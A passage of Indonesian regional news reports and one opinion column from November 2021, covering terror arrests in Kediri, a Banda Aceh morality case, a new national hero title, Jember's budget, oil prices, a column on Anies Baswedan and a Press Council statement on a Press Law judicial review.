(FKUB). "Toleransi antarumat beragama tetap kita pupuk di Kabupaten Kediri untuk menangkal radikalisme. Aktifnya FKUB merupakan salah satu upaya kami," kata dia. Terkait dengan penangkapan dua terduga terorisme di Kabupaten Kediri, Mas Bup menegaskan bahwa aparat telah lama mengintai aktivitas mereka. Bahkan, dirinya mengaku selalu melapor kepada dirinya terkait dengan keberadaan terduga teroris ini. "Dua terduga teroris ini sudah dalam pantauan sejak beberapa waktu lalu, ada tim yang selalu lapor ke saya terkait ini," kata Mas Bup. Sebelumnya, Tim Detasemen Khusus (Densus) Antiteror Mabes Polri menangkap dua orang warga yang tinggal di Kabupaten Kediri, terkait dugaan keterlibatannya dengan kelompok terorisme, pada Selasa (9/11). Keduanya adalah RH, seorang pendatang yang tinggal di rumah kontrakan, tepatnya RT 01/RW 10, Dusun Talun, Desa Gedangsewu, Kecamatan Pare, Kabupaten Kediri. RH diamankan di Jalan Cipunegara, Desa Darungan, Kecamatan Pare, Kabupaten Kediri. Selain RH, tim juga menangkap AN, warga Desa Tertek, Kecamatan Pare, saat berada di Jalan Basuki Rahmat, Dusun Templek, Desa Darungan, Kecamatan Pare, Kabupaten Kediri. Densus juga melakukan penggeledahan dan mengamankan sejumlah barang seperti senjata laras panjang, komputer jinjing, CPU, dan flash disk. Selain itu, petugas juga mengamankan sejumlah buku. Densus juga menangkap sejumlah orang lainnya di Jawa Timur, dalam operasi tersebut. Mereka sempat dibawa ke Polda Jatim untuk pemeriksaan, yang diamankan bersama dengan dua orang warga Kabupaten Kediri itu. Dalam sepekan terakhir, Densus 88 melakukan operasi penangkapan di Provinsi Lampung. Mereka menangkap sejumlah petinggi di yayasan amal bernama Lembaga Amil Zakat Baitul Maal Abdurrahman Bin Auf (LAZ BM ABA). (sws)

Wawalkot Banda Aceh Harap Kasus Dugaan Mesum Pejabat Kemenag Berlanjut

Banda Aceh, FNN - Wakil Wali Kota Banda Aceh Zainal Arifin berharap kasus dugaan mesum yang melibatkan pejabat Kanwil Kemenag Aceh segera dilanjutkan kembali. "Saya pikir kalau memungkinkan secara hukum harus dilanjut, saya pikir harus dilanjutkan, karena hukum ini tidak memilih bulu," kata Zainal Arifin, di Banda Aceh, Rabu (10/11). Sebelumnya, kasus dugaan mesum oknum pejabat Kemenag Wilayah Aceh tersebut telah dihentikan oleh Satpol PP dan WH Kota Banda Aceh pada 4 November 2021 lalu karena alasan tidak cukup bukti. Padahal, pejabat Kemenag tersebut dengan alat bukti yang cukup pada penyelidikan awal sempat ditahan selama 20 hari oleh Satpol PP dan WH Kota Banda Aceh. Zainal Arifin menegaskan, pemerintah tetap menjunjung tinggi proses hukum yang dilakukan oleh penegakan hukum. dan jika memang belum lengkap alat bukti berarti masih ada kekurangan data yang belum bisa dibuktikan. "Apalagi dalam hukum islam, saksi itu sangat menentukan, jika memang tidak cukup bukti jangan dinilai ada keberpihakan," ujarnya. Zainal menegaskan, dalam penegakan syariat islam tidak ada perbedaan di mata hukum, kalau memang sudah cukup bukti, maka harus diproses sebagaimana yang telah diatur sesuai peraturan perundang-undangan yang berlaku. "Masyarakat sepakat bahwa tidak ada tebang pilih, jadi saya pikir tetap dilaksanakan kalau memang ada bukti baru nantinya," demikian Zainal. Untuk diketahui, kasus itu bermula sebelumnya oknum pejabat Kemenag Aceh berinisial TJ digerebek warga Lueng Bata Kota Banda Aceh bersama pasangannya RH di rumah kos milik RH pada akhir Juni 2021. Saat itu warga mengamankan RH dari dalam rumah, sementara TJ melarikan diri. Setelah RH diserahkan ke aparat, Satpol PP dan WH menyurati TJ agar menemui penyidik untuk dimintai keterangan. Dari keterangan TJ saat itu, petugas menyimpulkan alat bukti yang didapat sudah cukup untuk menjerat keduanya dengan Qanun Jinayat. Sehingga TJ ditahan selama 20 hari. Berkas kasus tersebut sudah dilimpahkan oleh Satpol PP dan WH Kota Banda Aceh kepada Kejaksaan, namun jaksa mengembalikan berkas tersebut untuk dilengkapi oleh penyidik Satpol PP dan WH Kota Banda Aceh Setelah 14 hari, Satpol PP dan WH Kota Banda Aceh tidak kunjung melengkapi berkas tersebut dengan berdalih keterangan saksi-saksi tidak kuat untuk menjerat TJ, sehingga 04 November 2021 Satpol PP dan WH menghentikan kasus ini. (sws)

Wawali : Gelar Pahlawan Nasional Gelorakan Semangat Warga Kaltim

Samarinda, FNN - Wakil Wali Kota Samarinda Rusmadi menilai pemberian gelar pahlawan nasional kepada Sultan Aji Muhammad Idris telah menggelorakan semangat warga Kaltim untuk lebih mendalami dan mencintai Negara Kesatuan Republik Indonesia (NKRI). "Karena gelar yang diberikan Presiden RI Joko Widodo, merupakan kebanggaan bagi masyarakat Kaltim,” kata Rusmadi usai Upacara Peringatan Hari Pahlawan Nasional tahun 2021 di Taman Makam Pahlawan (TMP) Samarinda, Rabu (10/11). Upacara dipimpin Inspektur Upacara Wakil Gubernur Kalimantan Timur Hadi Mulyadi, usai upacara wawali bersama peserta lainnya melakukan tabur bunga. Rusmadi menyampaikan selamat atas ditetapkannya tokoh asal Provinsi Kaltim Sultan Kutai Kartanegara Aji Muhammad Idris sebagai pahlawan nasional. Ia berharap para generasi muda khususnya di wilayah Kota Samarinda punya jiwa nasionalisme yang tinggi dan menghargai jasa- jasa para pahlawan dengan menjadi generasi penerus untuk bisa mengangkat harkat dan martabat bangsa dalam berbagai bidang. "Tantangan ke depan para kawula muda inilah yang akan menjadi penerus bangsa, semoga Indonesia semakin jaya dan maju," kata Rusmadi. Pemberian gelar untuk Sultan Aji Muhammad Idris lanjutnya, tertuang dalam Keppres Nomor 109 TK/2021 tentang penganugerahan pahlawan nasional. Presiden Joko Widodo menganugerahkan gelar pahlawan nasional kepada empat tokoh nasional pada peringatan Hari Pahlawan Nasional pada 10 November 2021. Mereka adalah: 1. Tombolatutu dari Sulteng 2. Sultan Aji Muhammad Idris dari Kaltim 3. Usmar Ismail dari DKI Jakarta 4. Raden Aria Wangsakara dari Banten. Bagi masyarakat Kaltim nama Sultan Kutai Kartanegara memang begitu familiar, meski sebagian masyarakat tidak tahu persis nama asli pemimpin Kerajaan Kutai tersebut. "Kalau kami pahamnya Sultan Kutai saja, tapi tidak tau persis nama aslinya, karena gelar raja turun-temurun," kata Nurhadi warga Loa Buah Samarinda. Hal yang sama diungkapkan Fatimah, warga kelurahan Sidodadi Samarinda yang mengaku lebih paham sebutan Sultan Kutai, tanpa dia ketahui nama asli Raja tersebut. Diketahui, Sultan Aji Muhammad Idris merupakan sultan ke-14 dari Kesultanan Kutai Kartanegara ing Martadipura. Ia memerintah kesultanan ini sejak 1735 hingga tahun 1778. Dalam riwayat perjalanan Kesultanan Kutai Kartanegara ing Martadipura, Sultan Aji Muhammad Idris merupakan sultan pertama yang menyandang nama bernuansa Islam Sultan Aji Muhammad Idris adalah cucu menantu dari Sultan Wajo La Madukelleng yang berangkat ke Tanah Wajo, Sulawesi Selatan. Saat di Wajo, Sultan turut bertempur bersama rakyat Bugis melawan Veerenigde Oostindische Compagnie (VOC), kongsi dagang atau Perusahaan Hindia Timur Belanda. (sws)

Bupati Jember Kirim Surat ke Kemenkeu untuk Ajukan Tambahan DAU

Jember, Jawa Timur, FNN - Bupati Jember Hendy Siswanto mengatakan pihaknya telah berkirim surat kepada Dirjen Perimbangan Kementerian Keuangan untuk pengajuan tambahan Dana Alokasi Umum (DAU) Tahun 2022 seiring dengan penambahan ribuan aparatur sipil negara (ASN) di kabupaten setempat. "Berkaitan dengan ruang fiskal yang sangat terbatas dan makin berat, salah satunya untuk pemenuhan belanja wajib penyediaan gaji CPNS dan PPPK, kami telah berkirim surat kepada Dirjen Perimbangan Kemenkeu," kata Hendy dalam Rapat Paripurna Raperda APBD 2022 di DPRD Kabupaten Jember, Jawa Timur, Rabu (10/11). Sejumlah fraksi di DPRD setempat menyoroti kebijakan Bupati Hendy yang merekrut 4.328 CPNS dan PPPK yang berdampak pada APBD 2022 mengalami defisit mencapai Rp586 miliar. "Saya menyampaikan penghargaan dan terima kasih kepada segenap fraksi yang telah menyampaikan pandangan umum, baik yang bersifat saran, masukan, maupun pertanyaan," tuturnya. Menurut dia, hal tersebut sebagai wujud hak konstitusi bagi para anggota DPRD dalam mencermati Raperda APBD TA 2022 untuk mempercepat pelaksanaan pembangunan daerah sebagai perwujudan dari prinsip sinergi, kolaborasi, dan akselerasi dalam membangun daerah ini. "Kami mengakui terkait pembebanan gaji CPNS dan PPPK cukup berat bagi daerah sehingga Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) akan menyampaikan itu kepada Presiden Joko Widodo," katanya. Dikatakan pula bahwa persoalan itu juga akan disampaikan dalam pertemuan Apkasi se-Jawa Timur pada tanggal 1 Desember 2021 dengan harapan gaji CPNS dan PPPK yang baru masuk dalam APBN lagi. Pendapatan daerah pada RAPBD Jember pada tahun 2022 dibandingkan dengan APBD awal tahun 2021 diproyeksikan alami kenaikan sebesar Rp103,03 miliar atau 2,78 persen, dari Rp3,70 triliun menjadi Rp3,81 triliun. Sementara itu, belanja daerah dalam RAPBD 2022 jika dibandingkan dengan APBD awal 2021 direncanakan alami penurunan sebesar Rp39,05 miliar atau 0,01 persen, dari Rp4,44 triliun menjadi Rp4,39 triliun. (sws)

Roasting Kiky dan Sense of Humor Anies

Oleh Ady Amar *) MUNGKIN cuma komedian Kiky Saputri, yang mampu "mengolok" sampai ke tingkat dasar tokoh politik/publik dengan "serangan" kelucuan ngeri-ngeri sedap. Sedang tokoh yang dihadirkan dan "diserang", itu muncul dengan berbagai sikap ditimbulkan. Kiky jebolan stand up comedy, dan biasa muncul dengan mengkritik seseorang yang bisa menimbulkan kemarahan (roasting). Kemarahan terkadang tidak saja pada tokoh yang di-roasting, tapi pada pengikutnya yang tidak sedikit merasa geram. Padahal sebelum roasting dilakukan, sudah ada semacam deal-dealan. Misal, apakah boleh menyebut ini dan itu dan seterusnya. Tentu materi utuh roasting tidak diberikan pada tokoh yang dihadirkan. Maka yang muncul adalah candaan yang tidak disangka tokoh bersangkutan. Seolah deal-dealan yang sudah disepakati tidak pernah dibuat, karena narasi candaan menjadi kelucuan yang menohok. Seperti sesuatu yang disampaikan tanpa terlebih dulu dirundingkan. Tokoh yang dihadirkan seberapa besar jabatan dan kuasanya, dibuat tidak berkutik dikuliti dengan canda aroma politik. Seperti layaknya tukang cukur rambut yang memegang kepala Presiden sekalipun dengan tampak canggung. Jika tokoh yang dihadirkan punya kuping tipis, maka aura wajah merah merona menampakkan sikap tak suka. Dan jika harus dipaksa tertawa, itu seperti tertawa orang yang tercekik. Kiky mampu membuat tokoh yang diundang tampak salah tingkah dan tak nyaman, apalagi ditambah gelak tawa penonton seolah meneror, membenarkan roasting yang dihadirkan. Sekali lagi, meski deal-dealan itu ada sebelum roasting dilakukan, tapi roasting itu tetap menjadikan tamu tampak gugup dan salah tingkah, seolah apa yang diroasting itu belum pernah dibicarakan sebelumnya. Layaknya pengadilan dan tokoh yang dihadirkan seolah terbunuh oleh candaan, tanpa punya kemampuan membalas. Anies Baswedan, Gubernur DKI Jakarta, tampil di acara televisi Trans7, "Lapor Pak!", jadi tokoh yang siap di-roasting Kiky. Anies tampil tampak siap, seolah tak ada beban dengan munculnya pertanyaan apapun yang dicandakan. Anies tampil tenang, dan bahkan mampu membalik suasana dengan sense of humor yang dihadirkan. Saat, Kiky bercanda dengan tanya, "Apa kabar dengan Formula E, Pak?" Anies menjawab dengan santai, "Kalau nanti Formula E tiba, mau nonton gak?" Semua yang hadir di sana, termasuk Kiky, dengan serempak menjawab, "Mau". Lalu Anies meneruskan, "Semua boleh lihat, sambil menunjuk satu persatu yang ada di sana-- lalu dilanjutkan-- kecuali Kiky." Meledaklah tawa personil dan kru Lapor Pak! Formula E, yang rencana akan diadakan di Jakarta, Juni 2022, itu memang jadi bahan untuk digoyang mereka yang tampak tidak ingin perhelatan itu dihadirkan. Maka, Anies terus jadi sasaran serangan bahkan fitnah para pihak agar event itu tidak terlaksana. Fraksi PDI-P dan PSI DPRD DKI Jakarta, adalah para pihak yang terus menggoyangnya. Ditambah para buzzer berbayar Rupiah, yang bekerja tak kenal lelah dan malu buat opini menjatuhkan Anies. Orang banyak menyebut, bahwa Anies Baswedan, yang jika lihat tampilannya bak pejabat kaku, sehari-hari serius tampak jarang senyum, tapi ternyata punya sense of humor tinggi. Tentu itu tidak terlepas dari emotional quality yang baik. Satu lagi, sebagai orang bebas, ia yakin benar bahwa apa yang dilakukan on the track maka tidak ada yang perlu ditakutkan atau ditutupi, jika itu harus dibuka selebar-lebarnya sekalipun. Sebagai tokoh publik yang tidak "bermasalah", maka Anies Baswedan justru tampil mampu beri pencerahan, meski tidak sampai bisa menerangkan apa yang terjadi sebenarnya secara detail, itu karena durasi waktu dan acara yang lebih pada canda semata. Maka, Anies hanya mampu menampakkan sense of humor cerdasnya, dengan hanya mengembalikan pertanyaan Kiky jadi pertanyaan balik darinya, dan itu mampu mengundang gelak tawa. Itu sudah cukup. (*) *) Kolumnis

Harga Minyak Dunia Anjlok, Indonesia Malah Akan Naik

New York, FNN - Harga minyak anjlok pada akhir perdagangan Rabu (Kamis pagi WIB), terpukul oleh lonjakan dolar setelah Presiden AS Joe Biden mengatakan pemerintahannya sedang mencari cara untuk mengurangi biaya energi di tengah lonjakan inflasi yang lebih luas. Minyak mentah berjangka Brent untuk pengiriman Januari terperosok 2,14 dolar AS atau 2,5 persen, menjadi menetap di 82,64 dolar AS per barel. Kontrak Brent mencapai level tertinggi 85,50 dolar AS per barel pada sesi tersebut sebelum mundur kembali. Minyak mentah berjangka West Texas Intermediate (WTI) untuk pengiriman Desember anjlok 2,81 dolar AS atau 3,3 persen, menjadi berakhir di 81,34 dolar AS per barel, setelah mencapai tertinggi 84,97 dolar AS per barel, tak jauh dari tertinggi tujuh tahun yang disentuh dalam beberapa minggu terakhir. Minyak mentah berjangka Brent dan WTI turun tajam pada akhir sesi karena pedagang menjual aset-aset berisiko, termasuk saham dan komoditas, didorong oleh ekspektasi bahwa bank sentral akan mengambil langkah-langkah untuk menahan kenaikan harga. Data inflasi konsumen pada Rabu (10/11/2021) menunjukkan harga-harga AS naik pada tingkat 6,2 persen tahun-ke-tahun, tingkat tercepat mereka dalam tiga dekade, dan dapat memacu Gedung Putih dan Federal Reserve AS untuk mengambil tindakan guna mencegahnya. Itu mendorong dolar, yang sering diperdagangkan terbalik dengan minyak. "Tidak diragukan lagi, ada lebih banyak tekanan pada pemerintah setelah angka inflasi hari ini," kata Phil Flynn, analis senior di Price Futures Group. "Ada kekhawatiran yang berkembang bahwa Fed mungkin harus kembali bertindak lebih agresif pada kenaikan suku bunga, sehingga membuat dolar menguat." Inflasi memanas karena hambatan ekonomi dari gelombang musim panas infeksi COVID-19 memudar dan kemacetan pasokan terus berlanjut. Federal Reserve diperkirakan akan mencoba untuk mencegah kenaikan harga-harga yang sedang berlangsung, yang telah berlangsung lebih lama dari yang diperkirakan semula. Itu memicu reli dolar, yang melemahkan harga minyak karena meningkatkan biaya bagi negara lain sebab minyak sebagian besar ditransaksikan dalam dolar. Biden mengatakan dia meminta Dewan Ekonomi Nasional untuk bekerja mengurangi biaya-biaya energi dan Komisi Perdagangan Federal untuk mendorong kembali manipulasi pasar di sektor energi dalam upaya yang lebih besar untuk membalikkan inflasi. "Komentar itu menyebabkan pasar melemah," kata Bob Yawger, direktur energi berjangka untuk Mizuho di New York. Secara terpisah, persediaan minyak mentah AS juga naik 1 juta barel dalam minggu terakhir, jauh dari perkiraan untuk peningkatan 2,1 juta dalam stok minyak mentah. Beberapa pedagang mengatakan pada Rabu (10/11/2021) bahwa harga-harga dapat terus naik dalam beberapa bulan mendatang, tetapi mencatat juga bahwa reli yang sedang berlangsung dapat memacu lebih banyak produksi industri serpih yang akan mengimbangi permintaan. Pasar telah reli dalam beberapa hari terakhir di tengah ekspektasi bahwa Organisasi Negara-negara Pengekspor Minyak (OPEC), yang dipimpin oleh Arab Saudi, bersama dengan sekutu pengekspor lainnya, akan mempertahankan peningkatan produksi yang stabil. Harga tinggi dapat mendorong industri minyak serpih AS untuk melepaskan 1 juta barel per hari ke pasar global, kata Marco Dunand, kepala eksekutif di Mercuria Energy Trading, berbicara di Reuters Commodity Trading Summit. OPEC+, demikian kelompok pengekspor yang lebih luas disebut, menolak seruan Gedung Putih untuk meningkatkan produksi. Produksi AS baru-baru ini mencapai 11,5 juta barel per hari, masih kurang dari 13 juta barel per hari yang dicapai pada akhir 2019. Gedung Putih telah berjinjit di sekitar kemungkinan melepaskan minyak dari Cadangan Minyak Strategis (SPR) AS di tengah kekhawatiran atas kenaikan harga bensin baru-baru ini. Umumnya, AS membuka keran SPR dalam keadaan darurat, seperti badai. Sebelumnya, Direktur Pembinaan Usaha Hilir Migas Ditjen Migas Kementerian ESDM, Soerjaningsih, menyebut harga pasar Pertalite mestinya Rp 11.000 per liter, sedangkan saat ini dijual di bawah harga pasar. yakni Rp 7.650 per liter. (sws)

Berpotensi Menimbulkan Kekacauan, Uji Materi UU Pers Harus Dihadapi Bersama

Jakarta, FNN – Permohonan uji materi atau judicial review terhadap Undang-Undang Nomor 40 Tahun 1999 tentang Pers sebagai bentuk pembangkangan. Selain itu, juga berpotensi menimbulkan kekacauan dalam penyelenggaraan pers dan hilangnya kepastian hukum, baik organisasi pers sendiri maupun masyarakat (publik) secara luas. Hal tersebut disampaikan Ketua Dewan Pers, Mohammad Nuh dalam siaran persnya yang diterima FNN.co.id, di Jakarta, Rabu, 10 November 2021. Kesesatan berpikir dan keinginan untuk memecah-belah kalangan insan pers seperti yang terlihat di dalam permohonan uji materi merupakan upaya pelemahan kemerdekaan pers sehingga patut untuk ditolak dan dihadapi bersama-sama. Berikut isi lengkap siaran pers tersebut : Pada hari Selasa, 9 November 2021, pada pukul 11.00 WIB Dewan Pers hadir sebagai Pihak Terkait yang menyampaikan keterangan dalam Permohonan Pengujian Materiil Ketentuan Pasal 15 ayat (2) huruf f dan Pasal 15 ayat (5) Undang-undang Nomor 40 Tahun 1999 tentang Pers terhadap Ketentuan Pasal 28, Pasal 28C ayat (2), Pasal 28D ayat (1), dan Pasal 28I ayat (2) dari Undang-undang Dasar Negara Republik Indonesia Tahun 1945 di hadapan Majelis Konstitusi Republik Indonesia. Menindakanjuti sidang sebelumnya, pada Senin, 11 Oktober 2021, di mana pemerintah menyampaikan keterangannya, yang diwakili dan dibacakan oleh Direktur Jenderal Informasi dan Komunikasi Publik, Kementerian Komunikasi dan Informatika, Bapak Usman Kansong, maka hari ini Dewan Pers hadir untuk membacakan Keterangannya, yang dihadiri dan diawali pengantar oleh Ketua Dewan Pers Mohammad Nuhserta dibacakan oleh Saudara Wina Armada Sukardi, Frans Lakaseru, dan Dyah Aryani selaku Kuasa Hukum yang ditunjuk oleh Dewan Pers. Selanjutnya, Kuasa Hukum Dewan Pers membacakan Keterangan Pihak Terkait Dewan Pers setebal 33 halaman secara bergantian dalam persidangan kasus Permohonan Uji Materiil 38/PUU XIX/2021 yang pada pokoknya menjawab dalil para Pemohon: Dewan Pers menyatakan bahwa secara gramatikal norma-norma yang termuat pada seluruh pasal UU Pers 40/1999 termasuk Pasal 15 ayat (2) huruf f pemaknaannya telah jelas, tidak multitafsir apalagi sumir sehingga Dalil Pemohon yang menyatakan, “Dewan Pers memonopoli pembentukan semua peraturan dan memiliki kewenangan serta mengambil alih peran organisasi Pers menyusun peraturan di bidang Pers”, adalah tidak berdasar sama sekali dan sebagai kesesatan berpikir dan kekeliruan pemahaman Para Pemohon pada UU Pers 40/1999, mulai dari sejarah penyusunannya hingga norma-norma dalam UU Pers 40/1999. Berdasarkan Asas Swa-Regulasi sebagai amanat dari Undang-Undang Nomor 40 Tahun 1999 tentang Pers, Dewan Pers dalam praktiknya, penyusunan terhadap aturan di Bidang Pers yang dibutuhkan dan diusulkan oleh Organisasi Pers dengan dasar pertimbangan untuk memenuhi kebutuhan akan adanya aturan, panduan dan pedoman tertentu, kepastian hukum dalam penyelenggaraan kemerdekaan pers, dan meningkatkan kehidupan pers serta dapat berdampak kepada masyarakat luas (publik), dilaksanakan sesuai dengan fungsi Dewan Pers dalam Pasal 15 ayat (2) huruf f UU Pers No 40/1999, yakni difasilitasi oleh Dewan Pers. Tindakan Dewan Pers memfasilitasi, memberi dukungan kemudahan, sarana dan prasarana bagi Organisasi Pers dalam menyusun aturan di bidang Pers dilakukan dengan cara: mendiskusikan dan membahas secara simultan hingga diperoleh hasil akhir berupa konsensus atau kesepakatan bersama terhadap penyusunan atas aturan di bidang Pers tersebut; memformalkan dan mengesahkan hasil akhir atas penyusunan aturan di bidang Pers tersebut dalam bentuk Peraturan Dewan Pers. Contoh nyata penyusunan swa-regulasi ini dapat dilihat di dalam Kode Etik Jurnalistik, Kode Perilaku Wartawan, Standar Kompetensi Wartawan, Standar Perusahaan Pers, Standar Organisasi Perusahaan Pers, dan lain-lain. Dengan demikian, telah sangat jelas bahwa sebenarnya yang menjadi substansi persoalan Para Pemohon adalah bukan pada fungsi dari PIHAK TERKAIT Dewan Pers sebagaimana diatur pada Pasal 5 ayat (2) huruf f UU Pers 40/1999 yaitu memfasilitasi Organisasi Pers dalam MENYUSUN peraturan di bidang Pers, TETAPI pada ketidaksukaan dan/atau ketidakmauan dan/atau ketidaksetujuan Para Pemohon bahwa Dewan Pers atas kesepakatan/konsensus bersama Organisasi Pers memformalkan hasil akhir dari penyusunan peraturan di bidang Pers oleh Organisasi Pers dalam bentuk Peraturan Dewan Pers. Dewan Pers menyampaikan bahwa dalil Para Pemohon yang menyatakan Pasal 15 ayat (5) Undang-undang Nomor 40 Tahun 1999 tentang Pers telah menghambat perwujudan kemerdekaan pers dan hak atas pengakuan, jaminan, perlindungan, dan kepastian hukum serta bersifat diskriminatif karena Presiden tidak mengeluarkan Surat Keputusan bagi organisasi yang mereka dirikan sehingga Presiden telah menghambat kemerdekaan pers itu sendiri, merupakan tuduhan keji yang tidak berdasar dan menunjukan kesesatan pola pikir serta ketidaktahuan atau ketidakpahaman Para Pemohon dalam memahami norma-norma yang ada di dalam Undang-Undang No. 40 Tahun 1999 tentang Pers. Apabila Presiden menanggapi dan merespons keinginan Para Pemohon untuk menerbitkan Keputusan Presiden sebagaimana uraian permohonan di atas, maka Presiden justru berpotensi melanggar Undang-Undang Pers karena telah jelas dari sisi nomenklatur penamaan, tidak ada penamaan lain selain “Dewan Pers” dan UndangUndang Pers tidak mengenal dan tidak menyebutkan adanya nomenklatur penamaan lain selain “Dewan Pers”, sehingga apabila ada pihak – pihak yang menamakan dirinya dan menyerupai penamaan Dewan Pers seperti Dewan Pers Indonesia, Dewan Pers Independen, dan sebagainya adalah bukan merupakan amanat dari UndangUndang Pers. Selanjutnya Dewan Pers menyampaikan keanggotaan Dewan Pers tidak muncul seketika, namun merupakan keberlanjutan dan satu kesatuan dari sejarah serta peristiwa hukum yang panjang yaitu merupakan peralihan dari Dewan Pers pada masa Orde Baru yang didasarkan pada Undang-Undang Pers pada masa Orde Baru, yang kemudian pascareformasi digantikan dengan Undang-Undang Nomor 40 Tahun 1999 tentang Pers yang melahirkan Keputusan Presiden No 96/M Tahun 2000 Tentang Pengangkatan Keanggotaan Dewan Pers Periode Tahun 2000- 2003 sampai dengan saat ini, yaitu melalui Keputusan Presiden Nomor 33/M Tahun 2019 tentang Pemberhentian.dan Pengangkatan Keanggotaan Dewan Pers Periode 2019 – 2022. Dewan Pers juga menjawab pertanyaan dari Majelis Hakim Konstitusi yang disampaikan dalam persidangan sebelumnya, terkait dengan Pendataan di Dewan Pers, yaitu mendata perusahaan Pers menjadi salah satu fungsi dari Dewan Pers, di mana saat ini terdapat 1.678 perusahaan Pers yang meliputi Pers cetak dan Pers elektronik yang telah dilakukan pendataan dan hasil pendataan tersebut dimuat pada laman resmi Dewan Pers https://dewanpers.or.id/data/perusahaanpers yang dengan mudah dapat diakses oleh publik. Dalam tataran teknis, pendataan Perusahaan Pers yang dilakukan Dewan Pers tak sebatas mencatat, namun melakukan verifikasi yakni memeriksa, meneliti, mencocokan, dan membuktikan secara faktual dokumen-dokumen yang dimiliki perusahaan Pers dengan poin-poin standardisasi perusahaan Pers. Adapun filosofi pendataan yang dilakukan oleh Dewan Pers untuk menegakan profesionalitas, guna mewujudkan kemerdekaan Pers, sehingga menghasilkan jurmalisme profesional, sekaligus menjadi penegak pilar demokrasi. Dewan Pers dalam keterangannya juga menyampaikan fakta, bahwa ternyata telah ada Perkara Gugatan Perbuatan Melawan Hukum di Pengadilan Negeri Jakarta Pusat dan telah dilakukan upaya Banding, di mana Pemohon I, Heintje Grontson Mandagie dalam perkara Permohonan Uji Materill 38/PUU-XIX/2021 a quo adalah juga Penggugat I dan Pembanding I yaitu sebagai Ketua Umum Serikat Pers Indonesia dan Persatuan Pewarta Warga Indonesia sedangkan Dewan Pers sebagai Tergugat atau Terbanding. Putusan atas Perkara Gugatan Perbuatan Melawan Hukum ini telah mempunyai kekuatan hukum tetap (inkracht van gewijsde), yang diputuskan pada tanggal 21 Agustus 2019, dengan Putusan No 235/Pdt.G.2018/PN.JKT.PST jo. 331/PDT/2019/PT DKI, berbunyi : DALAM EKSEPSI : • Menyatakan eksepsi Tergugat tidak dapat diterima (Niet Onvankelijk Verklaard); DALAM POKOK PERKARA : • Menolak gugatan Para Pembanding semula Para Penggugat untuk seluruhnya; • Menghukum Para Pembanding semula Para Penggugat untuk membayar biaya perkara pada kedua tingkat pengadilan, yang pada tingkat banding ditetapkan sebesar 150.000 (seratus lima puluh ribu rupiah).”. Ada pun dalam pertimbangan hukum Majelis Hakim Pengadilan Tinggi DKI Jakarta Nomor 331/PDT/2019/PT DKI, yang telah berkekuatan hukum tetap disebutkan. “Menimbang bahwa Terbanding semula Tergugat menerbitkan atau menetapkan kebijakan, keputusan dan/atau regulasi di bidang Pers khususnya menerbitkan berbagai kebijakan perihal kompetensi wartawan sebagaimana didalilkan Para Pembanding semula Para Penggugat adalah perbuatan yang sah dari Terbanding semula Tergugat dalam menjalankan fungsi yang diamanatkan undang-undang dalam rangka menjamin, melindungi, dan mengembangkan kemerdekaan Pers, serta meningkatkan kualitas dan kuantitas Pers Nasional”. Berdasarkan fakta-fakta hukum di atas telah jelas serta patut diduga tindakan atau perbuatan Para Pemohon termasuk pengajuan Permohonan Uji Materill 38/PUUXIX/2021 ini dilakukan dengan itikad buruk dengan maksud bukan saja untuk mengganggu kemerdekaan Pers yang dijamin oleh Undang-undang Nomor 40 Tahun 1999 Tentang Pers tetapi juga sangat berpotensi menimbulkan kekacauan dalam penyelenggaraan Pers dan hilangnya kepastian hukum baik Organisasi Pers sendiri maupun masyarakat (publik) secara luas. Kemudian, Dewan Pers juga menjawab pertanyaan lain yang disampaikan Majelis Hakim Konstitusi terkait keunggulan dan kelebihan agar Pers Indonesia dan Dewan Pers menjadi garda terdepan di dalam rangka jurnalistik yaitu dalam rangka menjaga dan melindungi kemerdekaan Pers dan mewujudkan Pers yang profesional, Dewan Pers memberikan pertimbangan dan mengupayakan penyelesaian pengaduan masyarakat atas kasus-kasus yang berhubungan dengan pemberitaan Pers. Fungsi ini dilakukan oleh Dewan Pers dalam rangka mengawasi pelaksanaan Kode Etik Jurnalistik. Dari pengaduan masyarakat tersebut, Dewan Pers akan menilai apakah dalam pemberitaan—karya jurnalistik yang diterbitkan oleh suatu Media atau Perusahaan Pers terdapat pelanggaran atas Kode Etik Jurnalistik atau tidak. Jika fungsi ini tidak dijalankan oleh Dewan Pers maka akan menimbulkan efek negatif berupa ketidakpercayaan masyarakat luas (publik) akan produk jurnalistik yang profesional sehingga berpotensi mencederai kemerdekaan Pers dan berpotensi terancam serta tercabut, karena berbagai pengaduan masyarakat yang berhubungan dengan pemberitaan Pers diselesaikan melalui mekanisme dan jalur hukum baik perdata maupun pidana. Dewan Pers juga berupaya untuk mengembangkan kemerdekaan Pers dan meningkatkan kehidupan Pers nasional, dengan secara aktif dan positif bekerjasama dengan pihak lain di luar masyarakat Pers. Kerjasama ini dilakukan juga untuk meningkatkan kesadaran paham media (media literacy) masyarakat dan memberikan pemahaman yang tepat dan sama perihal kemerdekaan Pers dan dampaknya bagi kehidupan bernegara, berbangsa dan bermasyarakat, antara lain dengan melakukan Nota Kesepahaman dan Perjanjian Kerjasama dengan Kementerian/Lembaga seperti Kepolisian, TNI, LPSK, Mahkamah Konstitusi, BNPT, Kejaksaan dan sebagainya, bahkan juga melakukan Kerjasama di tingkat internasional seperti penandatanganan Bangkok Declaration, dengan organisasi Southeast Asian Press Councils Network yaitu kerjasama antara anggota Dewan Pers di tingkat Asia Tenggara untuk mempromosikan kebebasan pers melalui pengaturan swa-regulasi dan rasa hormat pada Kode Etik Jurnalistik. Persidangan Permohonan Uji Materill 38/PUU-XIX/2021 ini juga mendapat perhatian dan tanggapan dari berbagai Organisasi Pers, baik Organisasi Perusahaan Pers maupun Organisasi Wartawan yang menjadi bagian dari konstituen Dewan Pers dan insan masyarakat Pers. Video rekaman persidangan Uji Materiil Undang-Undang Nomor 40 Tahun 1999 tentang Pers tanggal 9 November 2021, dapat disimak pada link youtube berikut : https://www.youtube.com/watch?y=4167BDlqJUM Persidangan Selanjutnya, akan dilaksanakan pada 8 Desember 2021 untuk mendengarkan keterangan dari Dewan Perwakilan Rakyat dan Organisasi Pers seperti PWI, AJI dan IJTI, serta LBH Pers. Akhir kata, Dewan Pers mengajak semua insan pers menjamin Pers Indonesia sebagai salah satu pilar demokrasi yang selama ini telah bersama-sama dijaga dan dirawat dengan sebaik-baiknya sejak Era Reformasi. Kesesatan berpikir dan keinginan untuk memecah-belah kalangan insan pers seperti yang terlihat di dalam permohonan ini merupakan upaya pelemahan kemerdekaan pers sehingga patut untuk ditolak dan dihadapi bersama-sama. Jakarta, 9 November 2021 Dewan Pers Mohammad 